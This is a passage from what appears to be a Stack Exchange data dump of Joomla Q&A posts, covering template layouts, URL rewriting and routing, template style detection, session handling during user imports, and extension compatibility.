&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('cms.layout.file');&#xA;JLayoutFile::addIncludePath(YJSGPATH .'includes/html/layouts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the future since the addIncludePath method already exists.&lt;/p&gt;&#xA;" OwnerUserId="200" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-09-10T23:04:27.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4405" PostTypeId="2" ParentId="4402" CreationDate="2014-09-11T01:44:35.493" Score="1" Body="&lt;p&gt;&lt;code&gt;JTableCategory&lt;/code&gt; sets that property in the store function, so you will have to do a bit of a hack to get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either set the user that you want the id to be in the session:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;$user = JFactory::getUser($user_id);&#xA;$session-&amp;gt;set('user', $user);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Literally just add that in place of this line: &lt;code&gt;$data['created_user_id'] = 123456;&lt;/code&gt;. It should then automatically get set for the &lt;code&gt;created_user_id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Alternately, you would have to run the store twice like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table-&amp;gt;store();&#xA;$table-&amp;gt;created_user_id = 123456;&#xA;$table-&amp;gt;store();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The category table class only sets the created_user_id if it is a new object. The first store creates the record in the database and will store the id back in &lt;code&gt;$table&lt;/code&gt;. Then you can reset the value that you want and store again. (Note that this way will then set the &lt;code&gt;modified_time&lt;/code&gt; and &lt;code&gt;modified_user_id&lt;/code&gt; incorrectly...)&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-11T01:44:35.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4406" PostTypeId="2" ParentId="4397" CreationDate="2014-09-11T01:59:24.590" Score="2" Body="&lt;p&gt;I would do this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} /images/&#xA;RewriteRule ^images/(.*) /downloads/$1 [L,R]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think &lt;code&gt;REQUEST_URI&lt;/code&gt; will be a better check than &lt;code&gt;THE_REQUEST&lt;/code&gt; for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html&quot; rel=&quot;nofollow&quot;&gt;http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to make sure this is understood correctly, the above allows you to use the url with 'images' in it, but to put all of the files in the downloads folder on your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want it to &quot;look&quot; like the PDFs are in the downloads folder but actually have them in the images folder, you would need to switch the usage of each of these words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rewrite rules don't change the url on your site; they change how the server understands the url.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-11T01:59:24.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4407" PostTypeId="2" ParentId="4288" CreationDate="2014-09-11T02:09:04.383" Score="2" Body="&lt;p&gt;Ahhh the joys of the current routing system in Joomla. (I thought I heard that someone was doing a Google Summer of Code project to update the routing system, but haven't seen anything else on that.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my understanding of the routing is that Joomla will try to parse as much of the request uri (ie. &lt;code&gt;foo/2&lt;/code&gt;) to a menu item as possible. In your case, this would match on just &lt;code&gt;foo&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, the rest of the pieces are passed to the &lt;code&gt;router.php&lt;/code&gt; file for the component that matches that menu item. In your case, I'm guessing that this is the com_content router at &lt;code&gt;components/com_content/router.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will call the &lt;code&gt;parse&lt;/code&gt; function in this class and pass in the segments (which in this case will just be &lt;code&gt;2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The router has code (which you can look through if you would like) to try to parse the segments in the uri into article ids and such. The core piece that affects you is what happens if there is only one segment piece:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;     * If there is only one segment, then it points to either an article or a category.&#xA;     * We test it first to see if it is a category.  If the id and alias match a category,&#xA;     * then we assume it is a category.  If they don't we assume it is an article&#xA;     */&#xA;    if ($count == 1)&#xA;    {&#xA;        // We check to see if an alias is given.  If not, we assume it is an article&#xA;        if (strpos($segments[0], ':') === false)&#xA;        {&#xA;            $vars['view'] = 'article';&#xA;            $vars['id'] = (int) $segments[0];&#xA;&#xA;            return $vars;&#xA;        }&#xA;&#xA;        list($id, $alias) = explode(':', $segments[0], 2);&#xA;&#xA;        // First we check if it is a category&#xA;        $category = JCategories::getInstance('Content')-&amp;gt;get($id);&#xA;&#xA;        if ($category &amp;amp;&amp;amp; $category-&amp;gt;alias == $alias)&#xA;        {&#xA;            $vars['view'] = 'category';&#xA;            $vars['id'] = $id;&#xA;&#xA;            return $vars;&#xA;        }&#xA;        else&#xA;        {&#xA;            $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select($db-&amp;gt;quoteName(array('alias', 'catid')))&#xA;                -&amp;gt;from($db-&amp;gt;quoteName('#__content'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('id') . ' = ' . (int) $id);&#xA;            $db-&amp;gt;setQuery($query);&#xA;            $article = $db-&amp;gt;loadObject();&#xA;&#xA;            if ($article)&#xA;            {&#xA;                if ($article-&amp;gt;alias == $alias)&#xA;                {&#xA;                    $vars['view'] = 'article';&#xA;                    $vars['catid'] = (int) $article-&amp;gt;catid;&#xA;                    $vars['id'] = (int) $id;&#xA;&#xA;                    return $vars;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, it checks to see if it is a category id or an article id. Since you have an article with the id 2, it passes and thus we now move forward with that as the id instead of whatever you sent in the menu id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is exactly what com_content was coded to do, for better or worse... :/&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-11T02:09:04.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4408" PostTypeId="2" ParentId="3960" CreationDate="2014-09-11T02:33:08.500" Score="3" Body="&lt;p&gt;You definitely want to set up a plugin for this. Basically the goal would be to rewrite any &lt;code&gt;http://&lt;/code&gt; or &lt;code&gt;https://&lt;/code&gt; to just &lt;code&gt;//&lt;/code&gt;. As a bonus, we can only do this check inside of tags (so it doesn't affect urls just on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A system plugin with this method should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRender() {&#xA;    $buffer = JResponse::getBody();&#xA;    $pattern = '~(&amp;lt;[^&amp;gt;]{0,}[&quot;\'])(https?://)~iU';&#xA;    $replacement = '$1//';&#xA;    $buffer = preg_replace($pattern, $replacement, $buffer);&#xA;    JResponse::setBody($buffer);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This probably will still catch something that you don't want replaced with just &lt;code&gt;//&lt;/code&gt;, but it is a start!&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-11T02:33:08.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4409" PostTypeId="2" ParentId="4365" CreationDate="2014-09-11T09:35:30.310" Score="2" Body="&lt;p&gt;I've fixed this by using the following in the default.php file within the module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get a db connection.&#xA;$db = JFactory::getDbo();&#xA;&#xA;// Published dates&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('publishedDate')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__magazines'));&#xA;$query-&amp;gt;order('publishedDateASC');&#xA;$query-&amp;gt;group('publishedDate');&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;// Load dates&#xA;$dates = $db-&amp;gt;loadObjectList();&#xA;&#xA;// Input&#xA;$input = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;&amp;lt;label for=&quot;publisheddate&quot;&amp;gt;Departure Date:&amp;lt;/label&amp;gt;&#xA;            &amp;lt;select id=&quot;publisheddate&quot; name=&quot;publisheddate&quot;&amp;gt;&#xA;                &amp;lt;option selected=&quot;selected&quot; value=&quot;A&quot;&amp;gt;Choose Date&amp;lt;/option&amp;gt;&#xA;                &amp;lt;?php $dateInput = $input-&amp;gt;get('publisheddate', null, 'string'); ?&amp;gt;&#xA;                &amp;lt;?php foreach ($dates as $result): ?&amp;gt;&#xA;                &amp;lt;option value=&quot;&amp;lt;?php echo $result-&amp;gt;publishedDate; ?&amp;gt;&quot;&amp;lt;?php echo $dateInput == $result-&amp;gt;publishedDate ? ' selected=&quot;selected&quot;' : ''; ?&amp;gt;&amp;gt;&#xA;                    &amp;lt;?php echo $result-&amp;gt;publishedDate; ?&amp;gt;&#xA;                &amp;lt;/option&amp;gt;&#xA;                &amp;lt;?php endforeach; ?&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This went to the #__magazines table, and retrieved one of each publishDate and populated the table with it!&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-09-11T09:35:30.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4410" PostTypeId="1" AcceptedAnswerId="4416" CreationDate="2014-09-11T10:23:56.777" Score="2" ViewCount="1899" Body="&lt;p&gt;I'm building a website with with one template but several styles. I need each style to have it's own logo, and a customized link for the logo. The template is based on the Gantry Framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to detect the current template style (name or ID), and use an &lt;code&gt;if-else&lt;/code&gt; statement in the index.php file? This is roughly what I'm trying to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  if (styleid = &quot;1&quot;) {&#xA;    $link = &quot;/&quot;;&#xA;    $logo = &quot;logo1.jpg&quot;;&#xA;  } elseif (styleid = &quot;2&quot; {&#xA;    $link = &quot;/otherlink&quot;;&#xA;    $logo = &quot;logo2.jpg&quot;;&#xA;  }&#xA;  echo '&amp;lt;a href=&quot;'.$link.'&quot;&amp;gt;&amp;lt;img src=&quot;/images/'.$logo.'&quot;&amp;gt;&amp;lt;/a&amp;gt;';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-16T19:03:59.963" Title="Detect current template style" Tags="|joomla-3.x|php|templates|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4411" PostTypeId="1" AcceptedAnswerId="4419" CreationDate="2014-09-11T11:12:12.803" Score="6" ViewCount="3949" Body="&lt;p&gt;I am having site on Joomla 3.3. Whenever i share article on facebook, it dosent fetch image. So googled and found that gzip is causing problem. so i turned it off and checked, all images were displaying properly while sharing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want gzip enabled, but if i do facebook wont show images. Can someone please help? Currently my gzip is off. here is my site: livemedia24.com&lt;/p&gt;&#xA;" OwnerUserId="1863" LastEditorUserId="159" LastEditDate="2015-02-11T18:26:17.633" LastActivityDate="2017-02-27T07:16:21.130" Title="Image is not showing when sharing on Facebook due to Gzip" Tags="|joomla-3.x|facebook|gzip|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4412" PostTypeId="2" ParentId="4410" CreationDate="2014-09-11T11:28:09.760" Score="3" Body="&lt;p&gt;This is just an idea and I know it doesn't directly answer your coding issue, but what if you were to use &lt;a href=&quot;http://www.nonumber.nl/extensions/advancedmodulemanager&quot; rel=&quot;nofollow&quot;&gt;NoNumbers Advanced Module Manager&lt;/a&gt; to create a separate module for each template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then assign that specific module to it's corresponding template? Via the AMM admin settings area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It means you would have to create a different module (URLs etc) for each template though, but that shouldn't be too much work as you could just duplicate each module.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-09-11T11:28:09.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4413" PostTypeId="1" AcceptedAnswerId="4425" CreationDate="2014-09-11T12:05:43.047" Score="1" ViewCount="1900" Body="&lt;p&gt;Is there a way how to use Mavik Thumbnails plugin on Joomla 3?&lt;/p&gt;&#xA;" OwnerUserId="1526" LastActivityDate="2014-09-12T06:54:16.903" Title="Mavik Thumbnails for Joomla 3" Tags="|joomla-3.x|plugin|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4414" PostTypeId="2" ParentId="4411" CreationDate="2014-09-11T12:36:02.557" Score="3" Body="&lt;p&gt;The best way to debug an issue with Facebook is via the &lt;strong&gt;Open Graph Debugger&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.facebook.com/tools/debug/&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/tools/debug/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developers.facebook.com/tools/debug/og/object?q=livemedia24.com&quot; rel=&quot;nofollow&quot;&gt;https://developers.facebook.com/tools/debug/og/object?q=livemedia24.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your site is showing several alternative images now.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-09-11T12:36:02.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4416" PostTypeId="2" ParentId="4410" CreationDate="2014-09-11T15:02:04.740" Score="2" Body="&lt;p&gt;With Gantry, you can have different logos for each style. But this will not let you have different links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although there can be various approaches to achieve what I am assuming you have in mind, to answer directly to your question on how to get the template style assigned to a menu item, you could use something like this:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Getting Template Style:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$styleId = JMenu::getInstance('site')-&amp;gt;getActive()-&amp;gt;template_style_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will return the ID of the assigned style on the active menu. Note that the default style will return 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested this on a gantry template and it seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A second approach&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Using &lt;strong&gt;Gantry Framework&lt;/strong&gt; to create custom templates, you could add an extra setting (custom element field to extend the logo feature) in the template administration, for the custom link of the logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So all you need to do, is to add an extra field in the &lt;strong&gt;template_options.xml&lt;/strong&gt; file and get this value in your template's index, and translate it to a link. You could use a menu-items field, or a database field querying for the menu-items links, so it will make it easier for the user to select a internal site link to another menu-item.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Your comment about the issue:&lt;/h3&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have tested your second approach, and created a custom field in&#xA;  templateOptions.xml like this:  But when I try to use the value in features/logo.php, it's&#xA;  empty: $customlink = $gantry-&gt;get('customlogo'); ($customlink contains&#xA;  no data). Any ideas?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h3&gt;Answer:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;templateOptions.xml&lt;/strong&gt; has the following code for the Logo Feature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;logo&quot; type=&quot;selectedset&quot; label=&quot;LOGO&quot; description=&quot;LOGO_DESC&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;enabled&quot; type=&quot;toggle&quot; default=&quot;1&quot; label=&quot;SHOW&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;position&quot; type=&quot;position&quot; translation=&quot;false&quot; default=&quot;header-a&quot; label=&quot;POSITION&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;type&quot; type=&quot;selectbox&quot; selector=&quot;true&quot; default=&quot;gantry&quot; label=&quot;TYPE&quot; isbodyclass=&quot;true&quot; setbyurl=&quot;true&quot; setinsession=&quot;true&quot; setbysession=&quot;true&quot; setincookie=&quot;true&quot; setbycookie=&quot;true&quot;/&amp;gt;&#xA;    &amp;lt;fields type=&quot;set&quot; name=&quot;gantry&quot; label=&quot;Gantry Template&quot;&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;fields type=&quot;set&quot; name=&quot;custom&quot; label=&quot;CUSTOM&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;image&quot; type=&quot;imagepicker&quot; default=&quot;&quot; label=&quot;LOGO_PICKER&quot; description=&quot;LOGO_PICKER_DESC&quot; setinsession=&quot;true&quot; setbysession=&quot;true&quot; setincookie=&quot;true&quot; setbycookie=&quot;true&quot; /&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You most likely added your custom field inside the deeper &lt;code&gt;&amp;lt;fields - groups&amp;gt;&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that if you add a custom field this way, then it's not accessible in the feature.php with the &lt;code&gt;$this-&amp;gt;get('fieldname')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So, you should add the custom field like below:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&quot;logo&quot; type=&quot;selectedset&quot; label=&quot;LOGO&quot; description=&quot;LOGO_DESC&quot;&amp;gt;&#xA;    &amp;lt;field name=&quot;enabled&quot; type=&quot;toggle&quot; default=&quot;1&quot; label=&quot;SHOW&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;position&quot; type=&quot;position&quot; translation=&quot;false&quot; default=&quot;header-a&quot; label=&quot;POSITION&quot; /&amp;gt;&#xA;    &amp;lt;field name=&quot;type&quot; type=&quot;selectbox&quot; selector=&quot;true&quot; default=&quot;gantry&quot; label=&quot;TYPE&quot; isbodyclass=&quot;true&quot; setbyurl=&quot;true&quot; setinsession=&quot;true&quot; setbysession=&quot;true&quot; setincookie=&quot;true&quot; setbycookie=&quot;true&quot;/&amp;gt;&#xA;    &amp;lt;fields type=&quot;set&quot; name=&quot;gantry&quot; label=&quot;Gantry Template&quot;&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;fields type=&quot;set&quot; name=&quot;custom&quot; label=&quot;CUSTOM&quot;&amp;gt;&#xA;        &amp;lt;field name=&quot;image&quot; type=&quot;imagepicker&quot; default=&quot;&quot; label=&quot;LOGO_PICKER&quot; description=&quot;LOGO_PICKER_DESC&quot; setinsession=&quot;true&quot; setbysession=&quot;true&quot; setincookie=&quot;true&quot; setbycookie=&quot;true&quot; /&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;    &amp;lt;field name=&quot;mylogolink&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;logo link&quot; description=&quot;logo link&quot; /&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you probably will be able to access it through &lt;code&gt;$this-&amp;gt;get('mylogolink');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-11-16T19:03:59.963" LastActivityDate="2014-11-16T19:03:59.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4417" PostTypeId="2" ParentId="2181" CreationDate="2014-09-11T15:28:29.123" Score="1" Body="&lt;p&gt;Ok, I've found the problem and resolved it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server drops any outbound packets where the target is the same as the source - a loopback. It does this for security reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there are several servers inside the firewall, if they call between themselves they need to use their external domain names, the fix is to set up your own internal DNS server that resolves domains names to internal ip address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I fixed it by hacking the hosts file for now. but the above is the cause.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-09-11T15:28:29.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4418" PostTypeId="1" AcceptedAnswerId="4496" CreationDate="2014-09-11T16:02:17.213" Score="4" ViewCount="464" Body="&lt;p&gt;While importing from an external app, I'm creating new users, and all their categories, subcategories, and articles.  To get proper ownership of all the content, I'm logging the new user in, completing the import for their content, then logging them out.  All the credentials work when tested from the login page of the site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works just fine, with the first login working as expected.  However, the logout appears to be &quot;missing&quot; something related to the session because a duplicate entry error in &lt;code&gt;#__session&lt;/code&gt; occurs the next time the &lt;code&gt;-&amp;gt;login()&lt;/code&gt; is attempted.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;foreach($imports as $import) {&#xA;    $credentials = array();&#xA;    $credentials['username'] = $import-&amp;gt;username;&#xA;    $credentials['password'] = 'abc123';&#xA;    $app-&amp;gt;login($credentials))        // Error occurs here the 2nd time this executes&#xA;        ...&#xA;        ... all the importing work that works as expected.&#xA;        ...&#xA;    $app-&amp;gt;logout;   // Logout completes&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This error occurs in &lt;em&gt;application\cms.php&lt;/em&gt;, function checkSession` when it tries to insert the new session:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Duplicate entry '' for key 'PRIMARY' SQL=INSERT INTO 'xyz_session' ('session_id', 'client_id', 'guest', 'time', 'userid', 'username') VALUES ('', 0, 1, '0', 0, '')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly, there's more to the session than just logging out, but after tinkering with &lt;code&gt;$session&lt;/code&gt; for awhile, I can't find the recipe to prevent the error from occurring and allowing the next login to take place.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-09-19T02:32:01.983" Title="How to use logout() method without duplicate session record in db" Tags="|development|login|session|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4419" PostTypeId="2" ParentId="4411" CreationDate="2014-09-11T16:28:58.347" Score="5" Body="&lt;p&gt;It's a known Facebook bug. There exists a Joomla plugin which allows to work around it. I think by disabling GZip if the request comes from Facebook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the plugin is on JED. Of you can't find it I can look it up later.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-09-11T16:28:58.347" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4420" PostTypeId="1" AcceptedAnswerId="4421" CreationDate="2014-09-11T17:32:43.673" Score="1" ViewCount="299" Body="&lt;p&gt;I have recently migrated a Joomla 3.3.3 site from the live environment onto my local environment to do some work on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is using Mosets Tree version 3.5.10 and when I am viewing Mosets Tree - Home in the frontend it is throwing up a 404 message, nothing has changed at all!&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2017-01-16T15:53:10.803" Title="Mosets Tree not working after site migration" Tags="|component|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4421" PostTypeId="2" ParentId="4420" CreationDate="2014-09-11T17:33:07.777" Score="1" Body="&lt;p&gt;This is due to Mosets Tree's Root directory's ID being changed from 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to fix this, after a database migration or restoration, simply login to your site's back-end and go to Mosets Tree Configuration. Click 'Save' and this will resolve the issue.&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2014-09-11T17:33:07.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4423" PostTypeId="2" ParentId="4211" CreationDate="2014-09-11T19:45:48.330" Score="1" Body="&lt;p&gt;Mihir Chhatre's answer below gave me thought... Check what category you have assigned this article on... And then on the menu-manager, check if the relative menu item that you want this article to appear is set to display articles from this category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are trying to show this article in the front-page and front-page is using a featured articles item, then you need to also set this article as featured and make sure that the menu-item is showing articles from that category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, if the page that you are trying to see the article in the front-end is showing articles through any content module, then you will need also to make sure that the module is set to display articles from the category of this article as well.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-09-11T19:45:48.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4424" PostTypeId="2" ParentId="4413" CreationDate="2014-09-12T03:08:54.147" Score="2" Body="&lt;p&gt;You can download a test version of Mavik Thumbnails 2 from &lt;a href=&quot;http://www.mavik.com.ua/download/mavikthumbnails_2.zip&quot; rel=&quot;nofollow&quot;&gt;http://www.mavik.com.ua/download/mavikthumbnails_2.zip&lt;/a&gt;. This version is compatible with Joomla 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that it's still in beta (as far as I understood from the ukranian forums). I have not used it myself, only installed, but it does install without problems in Joomla 3.3.3.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-09-12T03:08:54.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4425" PostTypeId="2" ParentId="4413" CreationDate="2014-09-12T06:54:16.903" Score="1" Body="&lt;p&gt;I did some research and it seems that original Mavik Thumbnails are very easy to be rewritten for Joomla 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the reult &lt;a href=&quot;https://github.com/aidik/Mavik-Thumbnails-J3/releases&quot; rel=&quot;nofollow&quot;&gt;https://github.com/aidik/Mavik-Thumbnails-J3/releases&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not much tested, but it seems to work. &lt;/p&gt;&#xA;" OwnerUserId="1526" LastActivityDate="2014-09-12T06:54:16.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4426" PostTypeId="1" AcceptedAnswerId="4427" CreationDate="2014-09-12T08:49:04.133" Score="5" ViewCount="2123" Body="&lt;p&gt;I work mainly in overrides as much as possible, so am using &lt;code&gt;/templates/.../html/com_contact/contact/default_form.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can just remove the code that shows the subject line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('contact_subject'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('contact_subject'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the problem is that when the form is filled out, the validation to check the subject line is still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing this, would require a core hack, but is there anyway to do it using overrides? Or safely, so that it won't revert when updated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to keep to using com_contact wherever possible, to limit the amount of plugins running on my installation.&lt;/p&gt;&#xA;" OwnerDisplayName="user1889" LastActivityDate="2014-09-15T07:23:59.303" Title="How can I completely and safely remove the subject field in com_contact?" Tags="|component|template-override|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
